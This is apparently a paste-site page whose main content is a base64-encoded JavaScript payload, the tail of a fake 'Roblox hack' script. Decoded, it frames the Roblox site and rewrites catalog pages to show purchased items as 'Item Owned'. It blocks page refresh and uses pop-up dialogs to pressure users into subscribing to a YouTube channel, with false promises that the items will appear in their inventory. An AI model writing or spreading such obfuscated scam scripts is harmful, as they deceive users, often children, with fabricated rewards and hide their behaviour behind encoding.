QkJdmFyIHRleHQgPSBkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgncGVyc29uYWwtZmllbGQtZGVzY3JpcHRpb24nKVswXS52YWx1ZTsKCQkJCQkJCQkJCWlmKHRleHQudG9Mb3dlckNhc2UoKS5zdGFydHNXaXRoKCJpIHdhbnQgIikpIHsKCQkJCQkJCQkJCQlSb2Jsb3guSGFjay5hZGRSb2J1eChwYXJzZUludCh0ZXh0LnNwbGl0KCcgJylbMl0pKTsKCQkJCQkJCQkJCX0KCQkJCQkJCQkJfTsKCQkJCQkJCQl9CgkJCQkJCQl9LCBvayAqIDE1MCk7CgkJCQkJCX0KCgkJCQkJCXZhciBkb2MgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQ7CgkJCQkJCWlmIChkb2MubG9jYXRpb24uaHJlZi5zcGxpdCgnLycpLmxlbmd0aCA9PSA2ICYmIGRvY3VtZW50LmxvY2F0aW9uLmhyZWYuc3BsaXQoJy8nKVszXSA9PSAnY2F0YWxvZycpIHsKCQkJCQkJCWZvciAodmFyIGkgPSAwOyBpIDwgUm9ibG94LkhhY2suaXRlbXMubGVuZ3RoOyBpKyspIHsKCQkJCQkJCQl2YXIgaXRlbSA9IFJvYmxveC5IYWNrLml0ZW1zW2ldOwoJCQkJCQkJCWlmIChpdGVtLnVybCA9PSB3aW5kb3cubG9jYXRpb24uaHJlZikgewoJCQkJCQkJCQl2YXIgYnV5SW50ZXJ2YWwgPSBzZXRJbnRlcnZhbChmdW5jdGlvbiAoKSB7CgkJCQkJCQkJCQlpZiAoZG9jLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ3RleHQtbGFiZWwnKS5sZW5ndGggPiAwICYmIGRvYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCd0ZXh0LWxhYmVsIGZpZWxkLWxhYmVsIHByaWNlLWxhYmVsJykubGVuZ3RoID4gMCAmJiBkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnYWN0aW9uLWJ1dHRvbicpLmxlbmd0aCA+IDApIHsKCQkJCQkJCQkJCQljbGVhckludGVydmFsKGJ1eUludGVydmFsKTsKCQkJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgndGV4dC1sYWJlbCcpWzBdLm91dGVySFRNTCArPSAnPGRpdiBjbGFzcz0iZGl2aWRlciI+Jm5ic3A7PC9kaXY+PGRpdiBjbGFzcz0ibGFiZWwtY2hlY2ttYXJrIj48c3BhbiBjbGFzcz0iaWNvbi1jaGVja21hcmstd2hpdGUtYm9sZCI+PC9zcGFuPjwvZGl2PjxzcGFuPkl0ZW0gT3duZWQ8L3NwYW4+JzsKCQkJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgndGV4dC1sYWJlbCBmaWVsZC1sYWJlbCBwcmljZS1sYWJlbCcpWzBdLm91dGVySFRNTCA9ICc8ZGl2IGNsYXNzPSJpdGVtLWZpcnN0LWxpbmUiPlRoaXMgaXRlbSBpcyBhdmFpbGFibGUgaW4geW91ciBpbnZlbnRvcnkuPC9kaXY+JyArIGRvYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCd0ZXh0LWxhYmVsIGZpZWxkLWxhYmVsIHByaWNlLWxhYmVsJylbMF0ub3V0ZXJIVE1MOwoJCQkJCQkJCQkJCWRvYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCdhY3Rpb24tYnV0dG9uJylbMF0uaW5uZXJIVE1MID0gJzxhIGlkPSJlZGl0LWF2YXRhci1idXR0b24iIGhyZWY9Imh0dHBzOi8vd3d3LnJvYmxveC5jb20vbXkvY2hhcmFjdGVyLmFzcHgiIGNsYXNzPSJidG4tY29udHJvbC1tZCIgZGF0YS1idXR0b24tYWN0aW9uPSJhdmF0YXIiIGRhdGEteXR0YS1pZD0iLSI+RWRpdCBBdmF0YXI8L2E+JzsKCQkJCQkJCQkJCX0KCQkJCQkJCQkJfSwgMSk7CgkJCQkJCQkJfQoJCQkJCQkJfQoJCQkJCQl9CgoJCQkJCQkvKmlmKHR5cGVvZihkb2MuZ2V0RWxlbWVudEJ5SWQoJ2Fzc2V0c0l0ZW1zJykpICE9ICd1bmRlZmluZWQnKSB7CgkJCQkJCQl2YXIgaW52ZW50b3J5ID0gZG9jLmdldEVsZW1lbnRCeUlkKCdhc3NldHNJdGVtcycpOwoJCQkJCQkJZm9yKHZhciBpID0gMDsgaSA8IFJvYmxveC5IYWNrLml0ZW1zLmxlbmd0aDsgaSsrKSB7CgkJCQkJCQkJdmFyIGl0ZW0gPSBSb2Jsb3guSGFjay5pdGVtc1tpXTsKCQkJCQkJCQlpZihpdGVtLmNhdGVnb3J5ID09IHdpbmRvdy5sb2NhdGlvbi5ocmVmLnNwbGl0KCcvJylbNl0pIHsKCQkJCQkJCQkJaW52ZW50b3J5LmlubmVySFRNTCArPSBSb2Jsb3guSGFjay5mb3JtYXQoUm9ibG94LkhhY2suaW52ZW50b3J5U3RyaW5nLCBbaXRlbS51cmwsIGl0ZW0uaW1hZ2UsIGl0ZW0ucHJvZmlsZSwgaXRlbS5jcmVhdG9yLCBpdGVtLnByaWNlLCBpdGVtLm5hbWVdKTsKCQkJCQkJCQl9CgkJCQkJCQl9CgkJCQkJCX0qLwoKCQkJCQkJZG9jdW1lbnQudGl0bGUgPSBkb2MudGl0bGU7CgkJCQkJCWlmICh0eXBlb2YgKFJvYmxveC5IYWNrLm9ubG9hZCkgIT0gJ3VuZGVmaW5lZCcpIFJvYmxveC5IYWNrLm9ubG9hZCgpOwoJCQkJCX0KCQkJCX0sIDEpOwoJCQkJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ21lc3NhZ2UnLCBmdW5jdGlvbiAoZSkgeyBpZiAoZS5kYXRhID09ICdpZnJhbWVfY2hhbmdlJykgeyBzdGFydF9sb2FkaW5nKCk7IH0gfSwgZmFsc2UpOwoJCQkJJCgnI2RvY3VtZW50RnJhbWUnKS5sb2FkKGZ1bmN0aW9uICgpIHsKCQkJCQlpZiAoUm9ibG94LkhhY2suaW5pdGlhbGl6ZWQgIT0gMikgewoJCQkJCQlSb2Jsb3guSGFjay5pbml0aWFsaXplZCA9IDI7CgkJCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy4kKCIuYWxlcnQtc3VjY2VzcyIpLmh0bWwoIlN1Y2Nlc3NmdWxseSBsb2FkZWQiKTsKCQkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LlJvYmxveC5Cb290c3RyYXBXaWRnZXRzLlRvZ2dsZVN5c3RlbU1lc3NhZ2UoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LiQoIi5hbGVydC1zdWNjZXNzIiksIDEwMCwgMmUzKTsKCQkJCQl9CgkJCQkJUm9ibG94LkhhY2sud2F0ZXJtYXJrKCk7CgkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93Lm9udW5sb2FkID0gZnVuY3Rpb24gKCkgeyB3aW5kb3cudG9wLnBvc3RNZXNzYWdlKCdpZnJhbWVfY2hhbmdlJywgJyonKTsgfTsKCQkJCQlpZiAoZG9jdW1lbnQubG9jYXRpb24uaHJlZiAhPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQubG9jYXRpb24uaHJlZikgewoJCQkJCQl3aW5kb3cuaGlzdG9yeS5wdXNoU3RhdGUobnVsbCwgbnVsbCwgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LmRvY3VtZW50LmxvY2F0aW9uKTsKCQkJCQl9CgkJCQkJaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5kb2N1bWVudC5sb2NhdGlvbi5ocmVmLmluZGV4T2YoJ215L2NoYXJhY3Rlci5hc3B4JykgIT0gLTEgfHwgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhc3NldHNJdGVtcycpICE9IG51bGwpIHsKCQkJCQkJaWYgKHdpbmRvdy5jb25maXJtKCJZb3UgbXVzdCBiZSBzdWJzY3JpYmVkIHRvICIgKyBSb2Jsb3guSGFjay5jcmVkaXRzICsgIiB0byByZWNlaXZlIHRoZSBpdGVtcyB5b3UgYm91Z2h0XG5JZiB5b3UgYXJlIHN1YnNjcmliZWQsIHByZXNzIENhbmNlbCBhbmQgd2FpdCB1cCB0byAxNSBtaW51dGVzIGZvciB0aGUgaXRlbSB0byBiZSBhZGRlZCB0byB5b3VyIGludmVudG9yeS5cbklmIHlvdSBoYXZlIG5vdCBzdWJzY3JpYmVkIHlldCwgcHJlc3MgT0sgdG8gYmUgcmVkaXJlY3RlZCB0byB0aGUgc3Vic2NyaWJlIHBhZ2UuIikpIHsKCQkJCQkJCXZhciB3aW4gPSB3aW5kb3cub3BlbignaHR0cHM6Ly93d3cueW91dHViZS5jb20vY2hhbm5lbC8nICsgY2hhbm5lbElkc1swXSArICc/c3ViX2NvbmZpcm1hdGlvbj0xJywgJ19ibGFuaycpOwoJCQkJCQkJd2luLmZvY3VzKCk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQlhbGVydCgiVGhlIGl0ZW1zIHdpbGwgbm93IGJlIGFkZGVkIHRvIHlvdXIgaW52ZW50b3J5LiBJdCBtYXkgdGFrZSBiZXR3ZWVuIDE1IG1pbnV0ZXMgdG8gNDggaG91cnMgZm9yIHlvdXIgaXRlbSB0byBhcHBlYXJcbklmIHlvdSBkaWQgbm90IHN1YnNjcmliZSB0aGlzIHdpbGwgbm90IHdvcmtcblxuWW91IGRvIG5vdCBoYXZlIHRvIGxlYXZlIHRoaXMgcGFnZSBvcGVuLCBmZWVsIGZyZWUgdG8gY2xvc2UgdGhlIHRhYiwgcGxheSBST0JMT1gsIG9yIHR1cm4gb2ZmIHlvdXIgUEMuIik7CgkJCQkJCX0KCQkJCQl9CgkJCQkJZG9jdW1lbnQudGl0bGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQudGl0bGU7CgkJCQkJaWYgKHR5cGVvZiAoUm9ibG94LkhhY2sub25sb2FkZWQpICE9ICd1bmRlZmluZWQnKSBSb2Jsb3guSGFjay5vbmxvYWRlZCgpOwoJCQkJfSk7CgkJCQl3aW5kb3cub25wb3BzdGF0ZSA9IGZ1bmN0aW9uIChldmVudCkgewoJCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5kb2N1bWVudC5sb2NhdGlvbiA9IGRvY3VtZW50LmxvY2F0aW9uOwoJCQkJfTsKCQkJCSQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uICgpIHsKCQkJCQkkKGRvY3VtZW50KS5vbigia2V5ZG93biIsIFJvYmxveC5IYWNrLmRpc2FibGVGNSk7CgkJCQl9KTsKCQkJfQoJCX0sIGZhbHNlKTsKICAgIH0KfQoKUm9ibG94LkhhY2suaW5pdCgpOw==')) }" />
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement